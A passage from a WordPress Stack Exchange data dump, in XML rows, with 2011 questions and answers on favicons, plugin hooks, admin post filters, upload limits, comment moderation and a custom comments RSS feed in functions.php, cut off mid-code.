  <row Id="9347" PostTypeId="1" AcceptedAnswerId="9349" CreationDate="2011-02-14T23:11:03.387" Score="0" ViewCount="272" Body="&lt;p&gt;I'm looking for a way to change the WordPress favicon. Any hints how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2011-09-02T11:58:59.283" Title="How to change the WordPress favicon?" Tags="&lt;favicon&gt;" AnswerCount="6" CommentCount="4" />
  <row Id="9348" PostTypeId="2" ParentId="9345" CreationDate="2011-02-15T00:46:44.507" Score="1" ViewCount="" Body="&lt;p&gt;To debug active plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump(get_option(...));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To check for a specific plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in_array(get_option(...));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The action is called 'active_plugins' IIRC.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-15T00:46:44.507" />
  <row Id="9349" PostTypeId="2" ParentId="9347" CreationDate="2011-02-15T01:09:47.520" Score="4" ViewCount="" Body="&lt;p&gt;You should add it on your theme's header.php file with this code (W3C standard code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;http://yourblog.com/favicon.png&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-15T01:09:47.520" CommentCount="0" />
  <row Id="9350" PostTypeId="2" ParentId="9345" CreationDate="2011-02-15T01:12:53.913" Score="3" ViewCount="" Body="&lt;p&gt;That's because the file in which is_plugin_active() is defined - &lt;code&gt;wp-admin/includes/plugin.php&lt;/code&gt; - is only loaded in the admin, after your plugin is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can only call it after 'admin_init' has fired:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_some_other_plugin() {&#xA;  if ( is_plugin_active('some-plugin.php') ) {&#xA;    ...&#xA;  }&#xA;}&#xA;add_action( 'admin_init', 'check_some_other_plugin' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-30T00:05:54.093" LastActivityDate="2011-04-30T00:05:54.093" CommentCount="2" />
  <row Id="9351" PostTypeId="1" CreationDate="2011-02-15T01:14:51.853" Score="0" ViewCount="66" Body="&lt;p&gt;I am currently working on a site &lt;a href=&quot;http://sherridon.bluefrogclients.com&quot; rel=&quot;nofollow&quot;&gt;http://sherridon.bluefrogclients.com&lt;/a&gt;. On this site, I want to reduce the height of the background where it is written &quot;Good things come in SMART packages.&quot;, similar to the theme at &lt;a href=&quot;http://themeforest.net/item/infocus-powerful-professional-wordpress-theme/full_screen_preview/85486&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/infocus-powerful-professional-wordpress-theme/full_screen_preview/85486&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Shyam.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastActivityDate="2011-02-15T01:49:35.897" ClosedDate="2011-02-15T13:52:14.820" Title="Need to reduce height for a WP theme" Tags="&lt;3.0.1&gt;&lt;css&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9352" PostTypeId="2" ParentId="9345" CreationDate="2011-02-15T01:23:15.357" Score="1" ViewCount="" Body="&lt;p&gt;Are you using is_plugin_active inside the admin or the front-end?  I am pretty sure that is_plugin_active is only an admin function that is found inside wp-admin/includes/plugin.php.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, does your main plugin file make use of Wordpress File Header (http://codex.wordpress.org/File_Header)? Is your plugin being included after the above plugin.php file is loaded?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-02-15T01:23:15.357" CommentCount="1" />
  <row Id="9353" PostTypeId="1" AcceptedAnswerId="9355" CreationDate="2011-02-15T01:33:26.253" Score="2" ViewCount="409" Body="&lt;p&gt;I want to be able to customize the WordPress edit posts screen to filter based on a custom field (or whatever). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I'm not sure what filter or hook to use here, and instead of opening the code myself, figured I'd throw the question out here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, I'm talking about this screen. Essentially I want to be able to add a new &quot;tab&quot; next to Drafts, Pending, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jm0av.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;After testing this, here's the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'parse_query', 'filter_post_edit_screen' );&#xA;function filter_post_edit_screen($query) {&#xA;  global $pagenow;&#xA;&#xA;  if (is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php'){&#xA;        $query-&amp;gt;query_vars['category__not_in'] = array(120,9999);&#xA;  }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it. Just paste that into a plugin. Obviously you'd tweak the category IDs or add some more substantial code.&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="2576" LastEditorDisplayName="" LastEditDate="2011-02-16T21:43:55.080" LastActivityDate="2011-02-16T21:43:55.080" Title="Is There a WordPress Hook to Filter the Edit Posts View?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="9354" PostTypeId="2" ParentId="9353" CreationDate="2011-02-15T01:44:19.207" Score="1" ViewCount="" Body="&lt;p&gt;I found a plugin that might be a solution to your problem: &lt;a href=&quot;http://wordpress.org/extend/plugins/extended-admin-post-filter/installation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/extended-admin-post-filter/installation/&lt;/a&gt;&lt;br&gt;&#xA;If that doesn't work then I think the only way out is to edit the WP core files (not recommended though) for the Edit Posts View &amp;amp; add a tab which filters posts according to the category or tag. This should work for sure! :)&lt;/p&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-02-15T01:44:19.207" CommentCount="1" />
  <row Id="9355" PostTypeId="2" ParentId="9353" CreationDate="2011-02-15T01:44:44.463" Score="3" ViewCount="" Body="&lt;p&gt;You need a to use a few hooks for that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/45/how-to-sort-the-admin-area-of-a-wordpress-custom-post-type-by-a-custom-field/159#159&quot;&gt;mike's answer&lt;/a&gt; to a similar question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-15T01:44:44.463" CommentCount="1" />
  <row Id="9356" PostTypeId="2" ParentId="9351" CreationDate="2011-02-15T01:49:35.897" Score="1" ViewCount="" Body="&lt;p&gt;Find the DIV id/class of that area and then edit the CSS for it in your stylesheet according to your preference!&lt;/p&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-02-15T01:49:35.897" CommentCount="2" />
  <row Id="9357" PostTypeId="2" ParentId="9347" CreationDate="2011-02-15T02:18:38.897" Score="1" ViewCount="" Body="&lt;p&gt;Just upload a &quot;favicon.ico&quot; file to your websites root and that's it! Actually, Fernando's answer works too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;http://yourblog.com/favicon.png&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add Favicons for Apple devices add this to your head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;/customIcon.png&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-02-15T02:18:38.897" CommentCount="1" />
  <row Id="9358" PostTypeId="1" AcceptedAnswerId="9446" CreationDate="2011-02-15T02:59:23.797" Score="0" ViewCount="182" Body="&lt;p&gt;I'm trying to create a forum system using WP's custom post types - two post types as Topic/Reply and a Forum taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a singular template for the topic post type, in which I added a reply form.&#xA;The problem is that when I submit the form I get a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the form template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;topic-reply-form&quot;&amp;gt;&#xA;  &amp;lt;form method=&quot;post&quot; name=&quot;topic-reply-form&quot; class=&quot;topic-reply-form clear-block&quot; action=&quot;&amp;lt;?php echo home_url('/'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _ae(&quot;Add reply&quot;); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;       &amp;lt;textarea id=&quot;reply-content&quot; name=&quot;content&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;       &amp;lt;input type=&quot;hidden&quot; name=&quot;topic&quot; value=&quot;&amp;lt;?php the_ID(); ?&amp;gt;&quot; /&amp;gt;&#xA;       &amp;lt;?php wp_nonce_field('new-topic-reply'); ?&amp;gt;&#xA;       &amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; id=&quot;reply-submit&quot; name=&quot;reply-submit&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA; &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-02-15T21:28:45.027" LastActivityDate="2011-02-15T21:29:01.347" Title="404 Error on form submission within custom post type" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;404-error&gt;&lt;form&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9360" PostTypeId="1" CreationDate="2011-02-15T03:32:16.887" Score="0" ViewCount="39" Body="&lt;p&gt;I’d like to add condtions to the bp_forum_topics() loop that only contain posts with certain keywords. Can anyone help me with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive been using this unified search to search members, blogs, pages. It search topic titles but not topic posts. &lt;a href=&quot;http://buddydev.com/buddypress/creating-the-sitewide-globalunified-search-page-for-your-buddypress-theme/comment-page-1/&quot; rel=&quot;nofollow&quot;&gt;http://buddydev.com/buddypress/creating-the-sitewide-globalunified-search-page-for-your-buddypress-theme/comment-page-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’d like to create a custom plugin that overrides the current function bp_forum_topics() that does this. Im new to wordpress development so unsure about filters and tags. Right now it returns all topics (with the exception of loose search terms, newest, popular etc). I want to be able to return topics if the posts related to that topics contains specific search terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can manage the coding for this, but what i'm unsure about is overriding the bp_forums_get_post functions while still retaining the other functions used in buddypress, such as get_avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="3178" LastActivityDate="2011-02-15T03:32:16.887" Title="Search buddypress bb press posts" Tags="&lt;3.0&gt;&lt;buddypress&gt;" />
  <row Id="9361" PostTypeId="1" AcceptedAnswerId="9388" CreationDate="2011-02-15T03:35:14.680" Score="0" ViewCount="251" Body="&lt;p&gt;I've got a plugin that attaches itself to both the post and page editors to read and write to the post_content object. I'd like to also attach my plugin to the category manager edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code below, lines 1 and 2 attach it to the post and page editor, but line 3, a shot in the dark, is not yet doing the trick. Any ideas on the proper way to do it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('add_meta_box') ) { &#xA;    add_meta_box('My-plugin', __('My plugin'), 'My_plugin_callback', 'post', 'side', 'high');&#xA;    add_meta_box('My-plugin', __('My plugin'), 'My_plugin_callback', 'page', 'side', 'high'); &#xA;//???   add_meta_box('My-plugin', __('My plugin'), 'My_plugin_callback', 'category', 'side', 'high');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-15T17:08:04.610" LastActivityDate="2011-02-15T17:08:04.610" Title="add_meta_box() to Category Edit Screen?" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="9362" PostTypeId="2" ParentId="9314" CreationDate="2011-02-15T04:10:34.423" Score="1" ViewCount="" Body="&lt;p&gt;You could also simply enable the WordPress privacy setting to block search engines. If this is a new site with no links from other sites, nobody would be able to find it in the first place (unless they knew the specific URL). Admittedly, this isn't really &quot;hiding&quot; the content &lt;em&gt;per se&lt;/em&gt;, since anyone can visit the site and see the content, but if people can't find it in the first place, that's kind of the same thing, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The &quot;Site Visibility&quot; setting is under Settings &gt; Privacy Settings.) &lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2011-02-15T04:10:34.423" CommentCount="1" />
  <row Id="9363" PostTypeId="1" CreationDate="2011-02-15T04:44:18.770" Score="-2" ViewCount="86" Body="&lt;p&gt;I am new to WordPress and need help. I am currently working on the site &lt;a href=&quot;http://ecentriconline.com/surferbeachfront&quot; rel=&quot;nofollow&quot;&gt;http://ecentriconline.com/surferbeachfront&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page, I want to display the left hand side as a widget. Right now, the left hand side is coded in the &lt;code&gt;index.php&lt;/code&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know the steps that I need to do to achive this.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-15T14:40:19.757" LastActivityDate="2011-02-15T15:46:26.490" Title="Replacing static code in a template file with a sidebar and widgets?" Tags="&lt;theme-development&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="9364" PostTypeId="2" ParentId="9344" CreationDate="2011-02-15T05:22:07.630" Score="0" ViewCount="" Body="&lt;p&gt;Your question is both too vague and too specific at the same time. The answer to the first part of your question is &quot;Yes, it's possible using Git, Subversion, Mercurial, DARCS, CVS, RCS, SCCS, SourceSafe, Perforce, or any number of other revision control systems&quot;. The answer to your second is &quot;most likely, no, you're not looking at it incorrectly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you be more specific in what you're asking and, simultaneously, what would make you think it's a bad idea?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-02-15T05:22:07.630" CommentCount="2" />
  <row Id="9365" PostTypeId="1" AcceptedAnswerId="9383" CreationDate="2011-02-15T06:16:55.203" Score="1" ViewCount="212" Body="&lt;p&gt;In my website there are many authers can publish posts but some of them upload image with the big size like 1M , and I want to reduse the max upload size to 500 kb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2011-02-15T11:20:15.390" Title="how to reduce the max upload size" Tags="&lt;3.0&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="9367" PostTypeId="2" ParentId="9294" CreationDate="2011-02-15T06:41:12.837" Score="1" ViewCount="" Body="&lt;p&gt;I can across this awesome tutorial just the other day:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://design.sparklette.net/teaches/how-to-add-wordpress-pagination-without-a-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://design.sparklette.net/teaches/how-to-add-wordpress-pagination-without-a-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is a modified version of this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-15T06:41:12.837" />
  <row Id="9369" PostTypeId="1" CreationDate="2011-02-15T06:51:09.340" Score="0" ViewCount="55" Body="&lt;p&gt;How to display a moderation-message with a comment after posting a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;post a comment&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;wp thinks this one has to be moderated&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;user sees his comment with a messe like &quot;thx but you cannot see it since its in moderation&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;stretchgoal: this message should be visible every time the users visits (cookie?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the messages disapears when the comment gets deleted or approved&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: this is a crosspost from &lt;a href=&quot;http://getsatisfaction.com/wordpress_snippets/topics/show_if_comment_is_in_moderation&quot; rel=&quot;nofollow&quot;&gt;http://getsatisfaction.com/wordpress_snippets/topics/show_if_comment_is_in_moderation&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-15T08:25:05.793" Title="show if comment is in moderation" Tags="&lt;comments&gt;&lt;moderation&gt;" AnswerCount="1" />
  <row Id="9370" PostTypeId="2" ParentId="9365" CreationDate="2011-02-15T06:58:20.267" Score="-1" ViewCount="" Body="&lt;p&gt;try this plugin &#xA;&lt;a href=&quot;http://wpgogo.com/development/max-image-size-control-plugin.html#english&quot; rel=&quot;nofollow&quot;&gt;http://wpgogo.com/development/max-image-size-control-plugin.html#english&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-15T10:08:35.823" LastActivityDate="2011-02-15T10:08:35.823" CommentCount="1" />
  <row Id="9372" PostTypeId="2" ParentId="9316" CreationDate="2011-02-15T07:14:43.343" Score="0" ViewCount="" Body="&lt;p&gt;If you're going to require accounts first, then the Front End Editor plugin (&lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;link to codex&lt;/a&gt;) should handle it nicely. It allows for user editing and tracks modifications, etc. &lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-02-15T07:14:43.343" />
  <row Id="9373" PostTypeId="1" CreationDate="2011-02-15T07:20:52.737" Score="0" ViewCount="158" Body="&lt;h2&gt;functions.php&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I added a filter in the functions.php file to grab the do_feed_rss2 and the do_feed_atom with my own RSS function with just a simple a simple text replacement &quot;Answers&quot; instead of &quot;Comments&quot;. I'm definitely not trying to use stacks as my own debugger, please let me know if that's how this comes across, just completely stooped on this one. Any help would be muchly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function answersrss2( $for_comments ) {&#xA;    if ( $for_comments ) {&#xA;        header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);&#xA;&#xA;        echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;'.get_option('blog_charset').'&quot;?'.'&amp;gt;';&#xA;        ?&amp;gt;&#xA;        &amp;lt;rss version=&quot;2.0&quot;&#xA;            xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;            xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;            xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;            xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;            &amp;lt;?php do_action('rss2_ns'); do_action('rss2_comments_ns'); ?&amp;gt;&#xA;            &amp;gt;&#xA;        &amp;lt;channel&amp;gt;&#xA;            &amp;lt;title&amp;gt;&amp;lt;?php&#xA;                if ( is_singular() )&#xA;                    printf(ent2ncr(__('Answers on: %s')), get_the_title_rss());&#xA;                elseif ( is_search() )&#xA;                    printf(ent2ncr(__('Answers for %s searching on %s')), get_bloginfo_rss( 'name' ), esc_attr($wp_query-&amp;gt;query_vars['s']));&#xA;                else&#xA;                    printf(ent2ncr(__('Answers for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss());&#xA;            ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;            &amp;lt;atom:link href=&quot;&amp;lt;?php self_link(); ?&amp;gt;&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;            &amp;lt;link&amp;gt;&amp;lt;?php (is_single()) ? the_permalink_rss() : bloginfo_rss(&quot;url&quot;) ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;?php bloginfo_rss(&quot;description&quot;) ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;lastBuildDate&amp;gt;&amp;lt;?php echo mysql2date('r', get_lastcommentmodified('GMT')); ?&amp;gt;&amp;lt;/lastBuildDate&amp;gt;&#xA;            &amp;lt;sy:updatePeriod&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_period', 'hourly' ); ?&amp;gt;&amp;lt;/sy:updatePeriod&amp;gt;&#xA;            &amp;lt;sy:updateFrequency&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_frequency', '1' ); ?&amp;gt;&amp;lt;/sy:updateFrequency&amp;gt;&#xA;            &amp;lt;?php do_action('commentsrss2_head'); ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        if ( have_comments() ) : while ( have_comments() ) : the_comment();&#xA;            $comment_post = get_post($comment-&amp;gt;comment_post_ID);&#xA;            get_post_custom($comment_post-&amp;gt;ID);&#xA;        ?&amp;gt;&#xA;            &amp;lt;item&amp;gt;&#xA;                &amp;lt;title&amp;gt;&amp;lt;?php&#xA;                    if ( !is_singular() ) {&#xA;                        $title = get_the_title($comment_post-&amp;gt;ID);&#xA;                        $title = apply_filters('the_title_rss', $title);&#xA;                        printf(ent2ncr(__('Answers on %1$s by %2$s')), $title, get_comment_author_rss());&#xA;                    } else {&#xA;                        printf(ent2ncr(__('By: %s')), get_comment_author_rss());&#xA;                    }&#xA;                ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;                &amp;lt;link&amp;gt;&amp;lt;?php comment_link() ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;                &amp;lt;dc:creator&amp;gt;&amp;lt;?php echo get_comment_author_rss() ?&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;                &amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_comment_time('Y-m-d H:i:s', true, false), false); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;                &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;&amp;lt;?php comment_guid() ?&amp;gt;&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;?php if ( post_password_required($comment_post) ) : ?&amp;gt;&#xA;                &amp;lt;description&amp;gt;&amp;lt;?php echo ent2ncr(__('Protected Comments: Please enter your password to view comments.')); ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;                &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php echo get_the_password_form() ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;?php else : // post pass ?&amp;gt;&#xA;                &amp;lt;description&amp;gt;&amp;lt;?php comment_text_rss() ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;                &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php comment_text() ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;?php endif; // post pass&#xA;            do_action('commentrss2_item', $comment-&amp;gt;comment_ID, $comment_post-&amp;gt;ID);&#xA;        ?&amp;gt;&#xA;            &amp;lt;/item&amp;gt;&#xA;        &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;        &amp;lt;/channel&amp;gt;&#xA;        &amp;lt;/rss&amp;gt;&#xA;&amp;lt;?php&#xA;    } else&#xA;        load_template( ABSPATH . WPINC . '/feed-rss2.php' );&#xA;}&#xA;&#xA;&#xA;function answersatom( $for_comments ) {&#xA;    if ($for_comments)&#xA;        { ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);&#xA;            echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;' . get_option('blog_charset') . '&quot; ?' . '&amp;gt;';&#xA;            ?&amp;gt;&#xA;            &amp;lt;feed&#xA;                xmlns=&quot;http://www.w3.org/2005/Atom&quot;&#xA;                xml:lang=&quot;&amp;lt;?php echo get_option('rss_language'); ?&amp;gt;&quot;&#xA;                xmlns:thr=&quot;http://purl.org/syndication/thread/1.0&quot;&#xA;                &amp;lt;?php do_action('atom_ns'); do_action('atom_comments_ns'); ?&amp;gt;&#xA;            &amp;gt;&#xA;                &amp;lt;title type=&quot;text&quot;&amp;gt;&amp;lt;?php&#xA;                    if ( is_singular() )&#xA;                        printf(ent2ncr(__('Comments on %s')), get_the_title_rss());&#xA;                    elseif ( is_search() )&#xA;                        printf(ent2ncr(__('Comments for %1$s searching on %2$s')), get_bloginfo_rss( 'name' ), get_search_query() );&#xA;                    else&#xA;                        printf(ent2ncr(__('Comments for %s')), get_bloginfo_rss( 'name' ) . get_wp_title_rss());&#xA;                ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;                &amp;lt;subtitle type=&quot;text&quot;&amp;gt;&amp;lt;?php bloginfo_rss('description'); ?&amp;gt;&amp;lt;/subtitle&amp;gt;&#xA;&#xA;                &amp;lt;updated&amp;gt;&amp;lt;?php echo mysql2date('Y-m-d\TH:i:s\Z', get_lastcommentmodified('GMT'), false); ?&amp;gt;&amp;lt;/updated&amp;gt;&#xA;&#xA;            &amp;lt;?php if ( is_singular() ) { ?&amp;gt;&#xA;                &amp;lt;link rel=&quot;alternate&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; href=&quot;&amp;lt;?php comments_link_feed(); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;link rel=&quot;self&quot; type=&quot;application/atom+xml&quot; href=&quot;&amp;lt;?php echo get_post_comments_feed_link('', 'atom'); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;id&amp;gt;&amp;lt;?php echo get_post_comments_feed_link('', 'atom'); ?&amp;gt;&amp;lt;/id&amp;gt;&#xA;            &amp;lt;?php } elseif(is_search()) { ?&amp;gt;&#xA;                &amp;lt;link rel=&quot;alternate&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; href=&quot;&amp;lt;?php echo home_url() . '?s=' . get_search_query(); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;link rel=&quot;self&quot; type=&quot;application/atom+xml&quot; href=&quot;&amp;lt;?php echo get_search_comments_feed_link('', 'atom'); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;id&amp;gt;&amp;lt;?php echo get_search_comments_feed_link('', 'atom'); ?&amp;gt;&amp;lt;/id&amp;gt;&#xA;            &amp;lt;?php } else { ?&amp;gt;&#xA;                &amp;lt;link rel=&quot;alternate&quot; type=&quot;&amp;lt;?php bloginfo_rss('html_type'); ?&amp;gt;&quot; href=&quot;&amp;lt;?php bloginfo_rss('url'); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;link rel=&quot;self&quot; type=&quot;application/atom+xml&quot; href=&quot;&amp;lt;?php bloginfo_rss('comments_atom_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;id&amp;gt;&amp;lt;?php bloginfo_rss('comments_atom_url'); ?&amp;gt;&amp;lt;/id&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;?php do_action('comments_atom_head'); ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            if ( have_comments() ) : while ( have_comments() ) : the_comment();&#xA;                $comment_post = get_post($comment-&amp;gt;comment_post_ID);&#xA;                get_post_custom($comment_post-&amp;gt;ID);&#xA;            ?&amp;gt;&#xA;                &amp;lt;entry&amp;gt;&#xA;                    &amp;lt;title&amp;gt;&amp;lt;?php&#xA;                        if ( !is_singular() ) {&#xA;                            $title = get_the_title($comment_post-&amp;gt;ID);&#xA;                            $title = apply_filters('the_title_rss', $title);&#xA;                            printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());&#xA;                        } else {&#xA;             